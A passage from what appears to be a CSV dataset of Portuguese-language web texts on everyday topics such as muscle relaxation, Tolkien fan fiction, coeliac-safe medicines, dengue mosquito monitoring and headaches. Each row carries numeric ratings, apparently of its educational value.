QUE O PERSONARE DISSE SOBRE O MEU JEITO DE SER MÃE: +A mãe com o signo lunar em Câncer é mais do que uma mãe, ela é o esteio da família! Usa suas experiências como parâmetro para enfrentar algumas situações complicadas dentro de casa. Com isso, consegue cultivar como poucas o afeto dos filhos. +Possui uma vocação natural para as tarefas maternas, encontra grande facilidade ao nutrir, ao cuidar dos filhos. Apegada, só se sente completa de verdade quando os filhos estão por perto. +Primeiro agradecer o carinho, e dizer que amei esse site! +Estou pensando em colocar no meu post de hoje.... muito legal!",original,original,original,original,1,0.2 +"Oops! Não temos mais estoque para incluir este produto ao carrinho. Se você quiser, pode ver outros aquí",original,original,original,original,0,0.0 +"Conceito de relaxamento muscular - O que é, Definição e Significado +Home >> Geral >> Conceito de relaxamento muscular +Conceito de relaxamento muscular +Relaxamento é o processo e o resultado de relaxar. Este verbo, por sua vez, refere-se a mitigar, suavizar ou aflorar algo. Muscular, por outro lado, é aquilo que está associado aos músculos (os tecidos que são compostos por fibras de tipo contráctil). +Dá-se o nome de relaxamento muscular àquilo que ocorre quando a contracção de um músculo finaliza. Deste modo, o relaxamento implica que as fibras regressem ao seu lugar original como consequência do termo de um impulso nervoso. +Para compreender este conceito, há que conhecer como funciona o processo de contracção muscular. Os músculos, a partir de um estímulo, adquirem uma certa tensão que os leva a alongar-se ou a encurtar e dá lugar à produção de uma força motora. Também existem as contracções involuntárias (chamadas reflexos). +O relaxamento muscular tem lugar no momento de finalizar a contracção. Nesse processo, a tensão vai reduzindo até desaparecer. Isto pode fomentar-se através de diversos exercícios e inclusive mediante o uso de fármacos (conhecidos como relaxantes musculares). +A tensão muscular também está associada à tensão mental: os exercícios de relaxamento muscular, por conseguinte, não só permitem incrementar o bem-estar físico, como também ajudam a minimizar a ansiedade e a reduzir o stress. +Um dos métodos de relaxamento muscular mais conhecidos é aquele proposto na década de 1920 por Edmund Jacobson. Este médico defendia que a ansiedade e a tensão dos músculos estavam vinculadas. Por isso, ajudava os seus pacientes para que pudessem relaxar os seus músculos de maneira voluntária e, deste modo, diminuir sintomas relacionados com a ansiedade, a insónia e outros transtornos. +A técnica desenvolvida por Jacobson recebe o nome de relaxamento muscular progressiva, tendo sido posto em prática pelo próprio com os seus pacientes, os quais ele treinou para tratar a ansiedade, a hipertensão, a insónia e as úlceras, todos eles problemas contra os quais é efectivo relaxar os músculos voluntariamente. Cabe mencionar que esta técnica goza de popularidade ainda hoje. +Para levar a cabo o relaxamento muscular progressivo é necessário em primeiro lugar sentar-se numa cadeira cómoda ou num cadeirão, uma vez que o ideal é deixar os braços repousados em cima de uma superfície paralela ao solo. Outra opção é recostar-se numa cama, sempre que ofereça maior comodidade/conforto do que a cadeira. As pernas, por sua vez, não devem estar cruzadas. A roupa também é importante, uma vez que não se aconselha a deixar-se o calçado posto nem usar roupa apertada. +Uma vez com a postura desejada, o primeiro passo é respirar profundamente duas vezes. Seguidamente, começa-se com uma série de exercícios bem definidos para tensionar e relaxar grupos musculares específicos, para aos poucos tomar o controlo de cada zona e conseguir relaxá-la voluntariamente. +Alguns desses exercícios para conseguir o relaxamento muscular progressiva são os seguintes: +* fechar as mãos com força, esticá-las e depois contraí-las. De seguida, abri-las e esticar os dedos para relaxarem; +* esticar os bíceps, agitando as mãos antes e depois para nos asseguramos de não as esticar também; +* mover os ombros para atrás com cuidado e logo deixá-los voltar para a sua posição normal; +* deixando os ombros em posição relaxada, girar a cabeça para cada lado lentamente, procurando chegar até ao limite para conseguir a tensão mas com cuidado para não se exceder e depois voltá-la para a sua posição original; +* também se pode inclinar a cabeça para a frente, procurando aproximar o queixo ao peio o máximo possível. O movimento contrário (para trás) não se recomenda, mas é outro dos exercícios possíveis; +* abrir os olhos até alcançar o limite e depois relaxar as pálpebras.",original,original,original,original,4,0.8 +"– Não poderia ter tido uma noite mais agradável senhor Lindir! – Prestou uma vênia em resposta. +– Fico feliz que a estada na casa do meu senhor Elrond esteja lhe sendo agradável. Trago a você uma mensagem: meu senhor Elrond pediu que lhe informasse que irá se reunir convosco hoje à tarde. Ele precisou sair com o nascer do sol para tratar de seus próprios assuntos, mas logo retornará. – Lindir sorriu. +– Sinta-se a vontade, caro Anárion. Precisará de alguma coisa para tal? +– Gostaria de ter uma harpa agora…! – Aqueles pensamentos soaram altos, produzidos em bom tom através dos lábios. O inesperado feio logo em seguida, em forma de resposta. +– Bem-vindo a Valfenda, Anárion, filho de Galdor. Longos perigos você passou até chegar a meus domínios, embora tenha visto coisas realmente belas. Meu coração se alegra em finalmente poder estar convosco. – Elrond meneou a cabeça em resposta à vênia do cavaleiro. Olhou então ao redor, e respirou o puro ar daquele lugar, com a expressão dos que estão satisfeitos e felizes com o lar que possuem. +– Voltar para casa… – Aquele pensamento assombrou o jovem Bardo, uma vez que estava longe de seus intentos. Muitos destinos povoavam sua mente, mas nenhum deles era retornar para Gondor. – Não desejo fazer isso em meu coração – continuou – embora desconheça ainda seus motivos para tal conselho. Para mim é doloroso falar sobre certos assuntos, mas estar longe de minha terra é o que me tem sustentado esse tempo. – Anárion estava sereno. +– E para que tenhas um lugar para chamar de lar, deves retornar bravo Anárion, pois o inimigo bate à sua porta, e a guerra chegou a seus portões. – Elrond ficou de pé, e caminhou até a beira do barranco, de frente à queda d’água. +– Esta é uma notícia terrível, porém ainda não vejo qual o meu papel nisso tudo. Meu irmão e meu pai estão em Belfalas, e são valorosos e poderosos comandantes. Com toda a certeza eles não cairão diante dos Corsários tão facilmente. Que notícias tens deles? +– Não tenho boas notícias. – Elrond falou suavemente, como para aplacar o impacto de tais informações. – Seu pai Galdor caiu na batalha contra os Corsários de Umbar na baia de Belfalas, e seu irmão foi ferido em terra, na tomada das praias. Ele ainda comanda as tropas, mas sua saúde está debilitada. Sinto muito por ser o portador de tais notícias. – Elrond meneou a cabeça em respeito, observando Anárion. +– Deve retornar a Belfalas mestre Anárion, e liderar seu povo na luta contra os Corsários. Um mal ainda maior aproxima-se a cada dia de Gondor, como dos demais povos livres da Terra-Média. Elfos, anões, homens, todos estamos fadados a este embate. Se Gondor cair, dificilmente teremos alguma esperança de vitória, e já a esperança que temos é frágil e pequena. Esqueça sua vida errante, e retorne para tornar-se aquilo que nasceu para ser, que nasceu para fazer. Lidere seu povo e prevaleça contra os inimigos em seus portões. O tempo urge! – Elrond voltou a caminhar até o barranco, fitando as águas. +– Agradeço por tudo mestre Elrond. Com sua permissão, ficarei mais um pouco aqui, pois tenho muito sobre o que pensar, e não participarei do jantar com os demais convidados. O destino me alcançou de forma abrupta, e não me sinto em condições para salões. – Anárion meneou a cabeça em respeito, esperando que a sinceridade de suas palavras não fosse tomada como uma falta de cortesia. +– Saudações meu caro amigo. Poderia me juntar a ti neste lugar? – Ilidan sorriu rapidamente, pois já sabia em parte da missão reservada a Anárion. +– Caro Ilidan, que bom vê-lo. Conversar um pouco me acalmaria, pois grandes desafios estão diante de mim. – Anárion esboçou um sorriso, colocando a bandeja trazida pelo elfo sobre o banco de pedra. Nesse momento, mais abaixo, diante da rampa que dava acesso à entrada principal da casa de Elrond, ele viu algumas pessoas chegando. Ao que parecia, um grupo de anões, um homem alto com chapéu pontudo, e uma criança, ou homem muito pequenino. – Quem são aqueles? +– Conheço o nome de Mithra...",original,original,original,original,0,0.0 +"15/11/2017 Por Victória Silva Agenda de Santos e região, Para visitar +Bartholomeu de Gusmão é um nome popular em Santos e região. +Ele está em avenidas, escolas e outros equipamentos. Mas você sabe quem foi o dono desse nome e o motivo de receber tantas homenagens? +Estamos falando de um sacerdote e inventor que nasceu aqui em Santos. O padre passava as horas vagas inventando coisas, como, por exemplo, o primeiro balão do mundo e a passarola. +A lista é grande e você vai poder conhecê-la em detalhes em uma exposição sobre Bartolomeu de Gusmão no Museu Pelé. +Até o mês de dezembro, quem passar pelo equipamento pode conferir uma exposição dedicada aos inventos de Bartholomeu de Gusmão. +No total, 13 maquetes – todas de autoria de João Inácio da Silva Filho – integram a mostra histórica. Para ficar ainda mais interessante, a visitação é gratuita. +Entre os destaques dessa exibição, está um forno solar, construído com lentes e capaz de assar carnes há mais de 300 anos. Dá para imaginar algo desse tipo? Difícil, nós sabemos, e também estamos curiosos para conferir de perto. +Para completar o acervo, está exposto documento da Biblioteca Pública Municipal da Cidade do Porto (Portugal), que comprova ter sido o padre santista o primeiro cientista a acreditar na possibilidade de o homem voar, utilizando um balão de ar quente! +Santos, pioneira em tudo * risos * +Bartholomeu de Gusmão +Primeiro cientista das Américas e mais conhecido como padre voador, por ter inventado o aeróstato (o balão de ar quente), Bartholomeu de Gusmão também criou o sistema de automação para drenar água dos porões, utilizado até hoje pelos navios, e o carneiro hidráulico, que bombeia água utilizando sua própria força. +Considerado o “avô da aviação”, foi também responsável pela criação de códigos criptografados e de adaptações para melhorar a eficiência dos moinhos de vento, entre muitos outros inventos. +Ficou curioso? Então passe pelo Museu Pelé e confira a exposição, em cartaz até dezembro. A visitação acontece de terça-feira a domingo, das 10 às 18 horas e a entrada é gratuita. Aproveite a ida ao Centro Histórico para fazer esses outros passeios 😉 +O Museu Pelé fica no Largo Marquês de Monte Alegre, s/n – Valongo, +O que fazer em Santos no fim de semana – de 17 a 20 de maio +O que fazer em Santos no fim de semana – de 10 a 13 de maio +O que fazer em Santos no fim de semana – de 3 a 6 de maio +O que fazer em Santos no fim de semana – de 26 a 30 de abril +5 Motivos para ir à mostra do Museu da Língua Portuguesa em Santos",original,original,original,original,3,0.6 +"Sem Espiga: Terapêutica prejudicial a celíacos: mito ou realidade? +Terapêutica prejudicial a celíacos: mito ou realidade? +Certamente que todos nós já fomos, pelo menos uma vez, confrontados com a informação de que existem medicamentos que, por conterem amido de trigo, não são aptos para celíacos. A APC jovem decidiu estudar aprofundadamente esta temática sendo que, a ideia inicial, era a realização de uma lista com os medicamentos interditos, no entanto, após pesquisa exaustiva e contactos com o INFARMED fomos informados de que não existem medicamentos prejudiciais para celíacos. +A realidade, segundo o INFARMED, é que de acordo com a guideline Excipients in the label and package leaflet of medicinal products for human use, os medicamentos que contêm na sua composição amido de trigo devem referir no folheto informativo que a sua administração é adequada para doentes celíacos e que aqueles que tenham alergia ao trigo não o devem tomar (nr. A DC não é uma alergia mas sim uma doença do tipo auto-imune). Esta mesma guideline refere que o amido de trigo pode conter glúten mas apenas em quantidades vestigiais e que, portanto, são consideradas seguras para os doentes celíacos. A quantidade de glúten é avaliada tendo por base os testes de doseamento de proteínas totais descritos na Farmacopeia Europeia. +Podemos então concluir que o amido de trigo, na dosagem presente nos comprimidos é seguro para todos nós. Sabemos, contudo, que poderão surgir algumas “desconfianças” e a necessidade de jogar pelo seguro de muitos celíacos mas, para este caso apresentamos o exemplo de medicamentos como o Flexar (anti-inflamatório) e o Fenergan (anti-histamínio) que contêm na sua composição amido de trigo e descrevem no seu folheto informativo que “Este medicamento contém amido de trigo. Adequados para indivíduos com doença celíaca. Doentes com alergia ao trigo diferente de doença celíaca não devem tomar este medicamento”. +Segundo informação do INFARMED, todos os medicamentos com amido de trigo deveriam trazer esta advertência, ou seja, todos são seguros para celíacos mas não devem ser tomados por pessoas com alergia ao trigo (em breve iremos apresentar aqui no SEM ESPIGA um texto com a diferença entre doença celíaca e alergia ao trigo). Existem inclusive casos como o do flagyl (anti-infeccioso) que não tem substituto directo (pelo menos para o sexo masculino pois as mulheres dispõem da forma terapêutica de óvulo vaginal), e que muitos celíacos não tomam, infundadamente, prolongando assim a infecção. +Reforçamos a ideia de que os medicamentos com amido de trigo na sua composição apresentam-no em quantidades vestigiais, muito mais baixas em termos de partes por milhão, do que as próprias farinhas, que adquirimos como isentas de glúten. Os medicamentos são seguros sendo creditados por uma norma europeia. Não deverá, no entanto, de deixar de se aconselhar com o seu médico. +Publicada por Sol à(s) 07:00:00",original,original,original,original,3,0.6 +"Os 25 países mais perigosos do mundo _ Mundo BR +Fatos que vão fazer você veja Harry Potter com outros olhos +Se você é um daqueles fãs da saga do mago mais poderoso do universo Harry Potter que sabem de cor cada diálogo, y até sabem os feitiços que os magos tem que aprender, Este artigo lhe mostrará que você ainda tem muito que conhecer sobre eles. +Em seguida, a redacção de MUNDO traz para você uma série de dados que temos a certeza que Você tinha passado despercebido e que depois de conhecê-los, você verá com olhos novos á história mágica na que nos rodeia esta saga. +Quando Voldemort morreu na Batalha de Hogwarts ele tinha 71 anos. Tom Riddle nasceu o 31 de dezembro de 1926. +O número Arthur Weasley inseriu na cabine de telefone para chegar ao Ministério da Magia com Harry é 6-2-4-4-2. As letras abaixo desses números em um teclado de um telefone padrão dizem ""mágia"". +A rota 9¾ na estação de Kings Cross é o ponto de partida para o trem de longa distância que pára em todos os povos europeus onde só vivem magos. +O professor Snape é baseado principalmente em J.K. O velho professor de química de Rowling. Será que o professor fez a vida intolerável para a escritora desta saga? +Harry rapidamente se tornou chefe do departamento de Aurores e depois do tudo o departamento de execução das leis mágicas. Além disso, ele deu classes ocasionais de Defesa Contra as Artes das negras em Hogwarts. +Ron mais tarde deixou seu trabalho no ministério e se juntou ao seu irmão George na gestão da cada vez mais bem sucedida loja de sortilégios de Weasley. +Depois de Hogwarts, Ginny Weasley se tornou numa jogadora profissional de Quidditch. Quando, mais tarde ela teve seu primeiro filho com Harry, ela se juntou á equipe editorial dos esportes do Profeta. +George Weasley se casou com Angelina Johnson. Juntos, eles tiveram dois filhos: Fred e Roxanne. Agora eles gozam de sua vida familiar, longe da magia negra e feiticeiros temíveis +Numa crítica que foi feita à mão (!!!) de Harry Potter ea Ordem da Fênix para Weekly Entertainment, Stephen King, disse que a professora Umbridge foi a melhor vilã da ficção desde Hannibal Lecter. +Os dragões não gostam de cócegas ... +O lema da Escola Hogwarts é ""Draco dormiens nunquam titillandus"", que significa ""Nunca faça cócegas a um dragão adormecido"". +Quando ele era jovem, Dumbledore fez uma amizade profunda com Gellert Grindelwald, antes que este se tornasse o mais terrível feiticeiro de magia negra antes de Voldemort. +Minerva McGonagall foi infeliz no amor com um muggle em sua juventude, mas, em seguida, se foi para Londres para trabalhar no Departamento de aplicação das leis mágicas. +Em seus dias de escola, McGonagall era uma jogadora de Quidditch talentosa. No entanto, ela parou de jogar após uma lesão particularmente ruim. +Depois de se casar, Neville Longbottom e Hannah Abbott partiram para Londres. Neville trabalhou brevemente como um auror, mas, em seguida, tornou-se professor de Herbologia em Hogwarts. Hannah, como a nova gerente, tomou o Leaky Cauldron, onde o casal também viveram juntos. +Se tivesse sido por o seu pai, Draco Malfoy teria ido para a escola no Instituto Drumstrang. No entanto, sua mãe não queria mandá-lo tão longe. +J.K. Rowling usou a depressão após a morte de sua mãe como um modelo para os dementadores e os sentimentos eles causam em Você.",original,original,original,original,2,0.4 +"Olá, exploradores do conhecimento! Já pararam para pensar na incrível diversidade de paisagens que o Brasil oferece? Nosso país é gigante e, por isso, abriga uma variedade impressionante de ambientes naturais e culturais. Vamos embarcar juntos em uma viagem para desvendar esses segredos! + +Primeiro, é importante entender o que chamamos de paisagem. Paisagem é tudo aquilo que nossos olhos alcançam em um determinado lugar: as montanhas, os rios, as florestas, as cidades, as plantações... Tudo isso forma a paisagem. E ela pode ser natural, quando predomina a natureza intocada, ou cultural, quando a ação humana é mais evidente. + +Imagine a Floresta Amazônica: uma imensidão verde, com rios serpenteando e uma biodiversidade única no mundo. Essa é uma paisagem natural exuberante! Agora, pense em São Paulo, uma metrópole com prédios altíssimos, ruas movimentadas e muita gente. Essa é uma paisagem cultural, transformada pela atividade humana ao longo do tempo. + +No Brasil, encontramos paisagens de todos os tipos! No Nordeste, temos o sertão, com sua vegetação adaptada à seca e paisagens áridas. No Sul, os pampas, campos abertos onde a pecuária é forte. No Sudeste, a Mata Atlântica, uma floresta rica e importante, que abriga cidades como Rio de Janeiro, com suas praias e montanhas. E no Centro-Oeste, o Pantanal, uma das maiores áreas úmidas do planeta, lar de uma fauna riquíssima. + +As paisagens brasileiras são dinâmicas, ou seja, estão sempre se transformando. A natureza age com o vento, a chuva e os rios, modelando o relevo. Mas a ação humana também é muito importante: a agricultura, a construção de estradas e cidades, a exploração de recursos naturais... Tudo isso modifica as paisagens. + +É fundamental entendermos como essas transformações acontecem e quais são suas consequências. Por exemplo, o desmatamento da Amazônia pode levar à perda de biodiversidade e ao aumento do aquecimento global. A poluição dos rios pode comprometer o abastecimento de água e a saúde das pessoas. Por isso, é tão importante cuidarmos do nosso planeta e buscarmos formas de desenvolvimento sustentável. + +Pensem em sua cidade ou região: qual é a paisagem predominante? Quais elementos naturais e culturais a caracterizam? Como a ação humana tem transformado essa paisagem ao longo do tempo? Refletir sobre essas questões nos ajuda a compreender melhor o mundo em que vivemos e a construir um futuro mais justo e sustentável para todos! + +As paisagens do Brasil são um tesouro que precisamos conhecer, valorizar e proteger. Cada uma delas conta uma história e nos ensina sobre a diversidade e a riqueza do nosso país. Que tal começarmos essa aventura juntos?",Geografia,Paisagens brasileiras,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional por introduzir o conceito de paisagem de forma clara e contextualizada com exemplos brasileiros, abrangendo paisagens naturais e culturais. Estimula a reflexão sobre a transformação das paisagens pela ação humana e a importância da sustentabilidade. A linguagem é acessível e adequada para o ensino fundamental, promovendo o conhecimento geográfico e a consciência ambiental.",5,1.0 +"Onde tem essa marca, tem um produto ou empresa que valoriza a floresta em pé e os povos que vivem dela. +[ ] +[ ] +[ ACESSO RESTRITO ] +[ Produtos ] +[ Empresas ] +[ Organizações ] +[ Governança ] +[ Biblioteca ] +Publicações +Vídeos +[ Contato ] +Área Protegida +[ Produto ] +[ Óleo de Pequi ] +O Óleo de Pequi do Povo Kĩsêdjê do Xingu, extraído por método tradicional a frio, concentra o sabor e o poder medicinal da fruta. +[ Saiba + ] +Óleo de Pequi +O projeto Hwĩn Mbê de produção de Óleo de Pequi do Xingu é uma iniciativa do povo Kĩsêdjê do Xingu, com apoio do Instituto Socioambiental (ISA). Com a palavra, os Kĩsêdjê: ""Nós reconquistamos nosso território tradicional do povo Kĩsêdjê, a Terra Indígena Wawi, em 1998. Em nosso território haviam áreas desmatadas por fazendeiros que chegaram quando os irmãos Villas-Bôas nos levaram para o Parque Indígena do Xingu, em 1959."" ""Usamos o pequi para fazer a floresta de novo, com fruta que a gente consome. O pequi é natural, orgânico, não usa veneno, a gente pode usar à vontade. Plantamos nas roças e onde a floresta foi derrubada e aproveitamos para comer e tirar o óleo para passar na pele e pintar para as festas. Agora o pequi está sobrando, e começamos a tirar o óleo para comercializar. Esse trabalho fazemos só uma vez no ano, todo mundo junto, com um mutirão na época do pequi, de forma que não atrapalha a nossa convivência, cotidiano e atividades tradicionais. Essa atividade visa criar alternativas de trabalho e renda capazes de manter as próximas gerações na aldeia e na cultura tradicional nossa."" O óleo de pequi é usado na galinhada e no arroz com pequi, bem como em frituras e massas. É um azeite aromático em saladas e outros pratos. Com altos teores de vitaminas, ferro e fósforo, é chamado de “roupa do índio”, porque dá à pele um tom dourado, hidrata e nutre. A alta concentração de betacaroteno pró-vitamina A (107.000 U.I/100g.) absorve radiações ultravioletas e neutraliza radicais livres. +Mais sobre a extração deste produto +[ Produtor ] +[ ] +Nome +Idade +Grupo Social / Etnia +Localização +[ Saiba + ] +Produtos deste produtor +Alguns dos demais produtores +[ Território ] +[ Território do Xingu ] +[ Saiba + ] +[ Território ] +[ Território da Calha Norte ] +[ Saiba + ] +[ Território ] +[ Território do Rio Negro ] +[ Saiba + ] +[ Território ] +[ Território do Solimões ] +[ Saiba + ] +[ Serviços Socioambientais ] +[ Serviços Socioambientais ] +Os territórios de Diversidade Socioambiental prestam importantes serviços para a humanidade. +[ Saiba + ] +legenda +Localização do produtor +ou do grupo de produtores +ESEX Riozinho do Anfrísio +× +[ Pesquisa de opinião Origens Brasil® ] +Você compraria este produto? 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Esse tipo de encadernação pode ser utilizado em trabalhos acadêmicos, apostilas, livros didáticos, etc. A onde fazer encadernação capa dura tcc Luz se inicia realizando os furos na lateral do material para posteriormente ser encaixada na espiral no material. +onde fazer encadernação capa dura tcc Luz: saiba mais +Precisa encontrar onde fazer encadernação capa dura tcc Luz? A Copy Center atua no segmento de Impressão Digital, e disponibiliza para seus clientes serviços como o de impressão de banner, encadernação, encadernação wire o, encadernação capa dura, digitalizar e plotagem. Para uma maior satisfação dos clientes, a empresa busca investir nos melhores profissionais do mercado, e em instalações modernas, garantindo assim, a sua confiança e boa cotação no mercado. Oferecemos também a opção de serviço de plotagem, encadernação de livros e encadernação lombada quadrada. Assim, não deixe de entrar em contato para saber mais. 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Aedes +M.I. +AEDES +Minas Gerais +Custo-Benefício do MI-Aedes: a cada 1 real investido, economia de 6 reais nos gastos com as doenças transmitidas pelo Aedes aegypti. +O artigo foi publicado na edição de abril de 2013 da revista EID-Emerging Infectious Diseases (wwwnc.cdc.gov/eid/), com índice de impacto de 6,1 e considerada a quinta melhor no ranking das 70 revistas científicas sobre doenças infecciosas. As análises foram realizadas pela pesquisadora Kim M. Pepin, epidemiologista da Universidade do Estado do Colorado (CSU) em Fort Colins, Colorado, Estados Unidos, e afiliada ao Instituto Nacional de Saúde (NIH). +O estudo avaliou o custo-benefício do sistema de MI-Aedes (MIA) assim como seus resultados no controle da doença em 21 cidades do estado de Minas Gerais. Essas 21 cidades com a tecnologia foram comparadas com mil simulações de grupos de também 21 cidades semelhantes a essas, mas sem o MI-Aedes. O estudo foi realizado entre abril de 2009 e junho de 2011, comparando os números da dengue por todo o estado. +Os resultados encontrados foram promissores, pois indicam que as cidades sem MI-Aedes tiveram aumentos relativos de notificação de casos de dengue 2,7 vezes maiores nos anos de 2009 e 2010. Estima-se que no ano de 2010, 27.191 casos de dengue foram prevenidos e, com isso, cerca de 18 milhões de reais foram economizados pelo Estado de Minas Gerais nas cidades com a tecnologia brasileira. No estudo, observou-se ainda que o MI-Aedes parece ser mais eficiente em cidades com economias mais bem-estruturadas e há melhor custo-benefício em cidades com histórico de altas infestações. +Vitória +- Espírito Santo- +População: 348.265 habitantes +Implantação e início do trabalho: JANEIRO 2007 +Contenção dos casos de dengue durante epidemias, sendo a pior epidemia em 2013, ano sem monitoramento. +Projeto Zero Mortes durante os 7 anos de monitoramento. +780 armadilhas +Uberaba +- Minas Gerais- +População: 315.360 habitantes +Implantação e início do trabalho: JUNHO 2013 +Pior epidemia no primeiro semestre de 2013 com mais de 12.000 casos e 25 mortes. A implantação reverteu a tendência de crescimento e está hoje bem abaixo dos índices de cidades vizinhas. +Santos +- São Paulo- +População: 415.000 habitantes +Implantação e início do trabalho: JANEIRO 2012 +Redução da tendência de aumento de casos comparada a outras cidades e ao total da região. +Redução de 48% dos casos (estimados 17.526 casos a menos) nos últimos 3 anos. +438 armadilhas +Porto Alegre +- Rio Grande do Sul- +População: 1409000 habitantes +Implantação e início do trabalho: JANEIRO 2012 +Redução da tendência de aumento de casos comparada ao estado. +Redução do número de casos importados que se geram casos autóctones. +880 armadilhas +Três Lagoas +- Mato Grosso do Sul- +População: 111.652 habitantes +Implantação e início do trabalho: ABRIL 2007 +Depois de enfrentar duas epidemias, nos anos de 2006 e 2007, o município de Três Lagoas registrou em 2008 uma redução de 99,57 % de casos de dengue.",original,original,original,original,4,0.8 +"Sinalização Temporária de Obras e Obstáculos na Via Pública » Forprev +As obras e obstáculos na via pública, pelo perigo que representam, devem ser sinalizados de forma adequada tendo em vista assegurar condições de segurança aos trabalhadores, viaturas e peões. Tendo como destinatários os Diretores e Técnicos de Obra, Encarregados e Chefes de Equipa, bem como todos os profissionais com interesse nesta matéria, pretende-se com esta ação de formação dotar os participantes com os conhecimentos relativos aos princípios e regras associadas à implantação de sinalização temporária de obras e obstáculos na via pública. Outros indivíduos, de ambos os sexos, que tenham interesse nesta área de formação. +Decreto-lei nº 141/95 de 14 de Junho; Portaria 1456-A/95 de 11 de Dezembro; Decreto Regulamentar nº 22-A/98, de 1 de Outubro. +Segurança no TrabalhoSegurança AlimentarMedicina do TrabalhoMedidas de Auto ProteçãoControlo de PragasAmbienteFormação",original,original,original,original,3,0.6 +"Lindo terreno de esquina, plano, pronto para construir, a menos de 100 metros do mar, num dos melhores pontos da praia Brava, Balneário Santa Clara, em Itajaí, quase divisa com Balneário Camboriú. +Medidas 12 metros de frente, 10,20 metros de fundos, 27,50 metros com rua lateral e 32 metros com outro terreno extremante.",original,original,original,original,0,0.0 +"SINDSERV SBC - Denúncias de assédio moral aumentam em 2017 +Home | Setores | Saúde | Denúncias de assédio moral aumentam em 2017 +O assédio moral caracteriza-se por condutas que evidenciam violência psicológica contra os trabalhadores, e essas práticas estão cada vez mais presentes na nossa vida profissional +O ambiente de trabalho dos servidores públicos nem sempre é pautado por relações sadias, construtivas ou onde se prevaleça o senso de trabalho em equipe. Nem mesmo a estabilidade dos empregos públicos impede situações de assédio moral contra os trabalhadores. O SINDSERV está recebendo um número alarmante de denúncias, e os setores com números mais expressivos são a Educação e a GCM. +Difamações, abusos verbais, agressões, perseguições políticas, excesso de trabalho e alterações e transferências injustificadas de local de trabalho são exemplos de assédio moral que os trabalhadores vem sofrendo no exercício de suas funções, e isso pode causar danos psicológicos e até físicos, como doenças devido ao estresse causado pelo assédio. Em situações mais extremas, tais abusos ocorrem inclusive nos processos disciplinares instaurados contra os servidores, desrespeitando até mesmo o direito de defesa. +A configuração do assédio moral é o ato repetitivo, ou seja, é caracterizado por ações reiteradas do assediador. Portanto, devem-se diferenciar acontecimentos comuns e isolados que ocorrem nas relações de trabalho, como uma ""bronca"" eventual do chefe, das situações que caracterizam assédio moral. ""Se constantemente a pessoa sofre humilhações ou é explorada, aí sim temos assédio moral"", explica Célio Vieira, Diretor de Assuntos Jurídicos e Comunicação. +O Superior Tribunal de Justiça já abordou o tema de assédio moral no serviço público, por ser considerado como ato de improbidade administrativa. É notória a necessidade da Administração Pública rever e orientar as tratativas de seus membros uns com os outros. +Situações para ficar alerta no trabalho +1. O limite da brincadeira +Brincadeira tem humor sadio e deve ser divertido entre as pessoas envolvidas. Já o assédio, tem abordagem intimidadora, normalmente com o objetivo de diminuir a pessoa e também destruir sua autoestima e confiança. +É importante estar atento e perceber quando alguma atitude começa a incomodar. Isso é diferente para cada pessoa, portanto, não há regra. A forma de identificar assédio é o desconforto que isso te gera. +3. O ambiente é ruim para trabalhar? +Muitas vezes o ambiente fica insalubre e cruel, a vontade de ir para o trabalho desaparece. Nesse caso, repense sua situação na empresa, vale conversar com colegas que possam estar na mesma condição, planeje e haja de forma que isso não continue. É difícil e gera medo, mas é preciso coragem. +4. O assédio resulta em queda no rendimento +As situações vão deixando a pessoa pensar que não sabe fazer bem o que ela sempre fez, isso mexe com as convicções e gera falta de vontade. Isso causa um dano silencioso, que pode levar à depressão e síndrome do pânico. +5. A síndrome do pequeno poder +Observar a forma como a chefia age em relação aos trabalhadores também ajuda a identificar o problema. O assédio se dá, normalmente, com base em posição ou relacionamentos privilegiados, que valide algum tipo de coerção. +6. O medo de sofrer julgamento +Quando é algo que constrange, surge também o receio de dizer a alguém e ser desacreditada. Essa dúvida já é sinal de assédio. Se abrir com alguém de confiança pode ajudar. +7. A violência psicológica e os seus reflexos na Saúde +Na medida em que a pessoa vai aturando a situação, está se corrompendo e tem a autoestima destruída. Isso faz com que comece a se sentir mal, inclusive com ela mesma. Causando até redução da imunidade e fazendo com que fique vulnerável a outras doenças, como infecções. Fora as questões psicossomáticas que têm relação com depressão e podem gerar problemas sérios. +A defesa do trabalhador municipal +Como não há observância por parte da Administração Pública para evitar qualquer tipo d...",original,original,original,original,2,0.4 +"Chá verde – aliado na sua saúde – Estar na Moda +Sabia que o chá sem açúcar contém zero calorias, tal como a água? Se beber água só porque tem de ser a incomoda, então tente substitui-la por chá. Tem sabor e vai saciá-la ao mesmo tempo. +Mas se está em dúvida entre que chá deve beber, damos-lhe razões para consumir chá verde. De preferência, a própria infusão das folhas (e não o comprado em saquetas no supermercado). +Obviamente que por si só, não adianta encher-se de chá verde. Se combinar a sua ingestão com uma alimentação saudável e algum exercício físico, verá resultados certamente. Sim meninas, isto que estamos a referir está comprovado cientificamente! +Previne também o envelhecimento e reforça o nosso sistema imunitário. Para além disso, faz com que a nossa atividade metabólica aumente, fazendo com que gastemos mais energia e por consequência, mais calorias. +Nos países orientais são consumidores em grande escala de chá verde, sendo que o bebem até à refeição. No entanto, para si, propomos-lhe que beba de 3 a 4 chávenas por dia para começar a obter alguns resultados. Se preferir, pode adicionar-lhe algumas gotas de limão ou até deixá-lo arrefecer, meter no frigorífico e beber chá gelado. +Bebo todos os dias uma canecada dele 😀 +afinal faz mal à hipertensão ou não? +O chá verde contém um estimulante similar à cafeína e por isso pode fazer com que exista um aumento da tensão arterial. Mas se consumido com moderação, não deve haver qualquer problema.",original,original,original,original,2,0.4 +"Mais de 90% das pessoas têm pelo menos algum tipo de dor de cabeça ao longo da vida, sendo que quase 50% têm pelo menos um episódio de dor de cabeça muito intensa. +Dor de cabeça ou cefaléia, como é chamada no jargão médico, é uma das queixas mais comuns nos ambulatórios e consultórios médicos. Na maior parte dos casos trata-se de uma condição benigna e ocasional. No entanto, há casos em que as dores de cabeça são muito intensas e recorrentes, causando significativo impacto psicológico, social ou sobre a atividade profissional, ou ainda situações em que a cefaléia é um sintoma de algum problema médico mais grave. +Existem dezenas de tipos de dor de cabeça, alguns bem conhecidos pela população geral, embora outros não. De modo geral, as cefaléias podem ser divididas em dois grandes grupos, as cefaléias primárias e as cefaléias secundárias. As cefaléias primárias são assim chamadas por não estarem associadas a lesões específicas do cérebro ou de estruturas adjacentes, enquanto o segundo grupo inclui formas de dor de cabeça secundárias a algum tipo de dano estrutural. No primeiro grupo estão as causas mais comuns de dor de cabeça, como a cefaléia tensional e a migrânea ou enxaqueca. +A cefaléia tensional é o tipo mais frequente de dor de cabeça. Sua duração pode variar de 30 minutos até sete dias. Há uma sensação de pressão ou 